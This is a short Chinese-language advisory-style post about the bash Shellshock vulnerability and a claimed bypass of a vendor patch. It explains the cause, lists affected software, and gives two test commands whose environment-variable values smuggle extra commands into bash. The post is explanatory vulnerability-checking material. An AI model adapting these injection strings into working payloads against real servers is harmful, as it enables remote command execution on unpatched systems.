bash漏洞最新补丁可被绕过

阿里云公布的补丁已被绕过，可以继续实施攻击，希望阿里云工程师赶紧继续推出解决方案...



漏洞验证
执行如下命令
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出如下则表明系统受影响。
vulnerable
this is a test

升级最新补丁后，执行如下命令：
env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable"
如果输出如下则仍然受影响
still vulnerable

漏洞影响
漏洞影响Redhat、CentOS、Debian、Ubuntu等Linux发行版，影响的程序包括使用mod_cgi执行的Apache服务器，rsync及git服务器，调用如下函数的程序system/popen in C, by os.system/os.popen in Python, system/exec in PHP等。

漏洞原因分析
当bash执行fork的时候，会把函数定义存放在环境变量中，因此bash初始化时会解析每个环境变量的内容，如果以（） {开头，则会当做函数处理，官方最新修复补丁已经被绕过。C、Python、PHP等语言中的函数受影响是因为这些函数会使用/bin/sh执行相应的内容，现在大部分Linux发行版/bin/sh只是一个到/bin/bash的符号链接。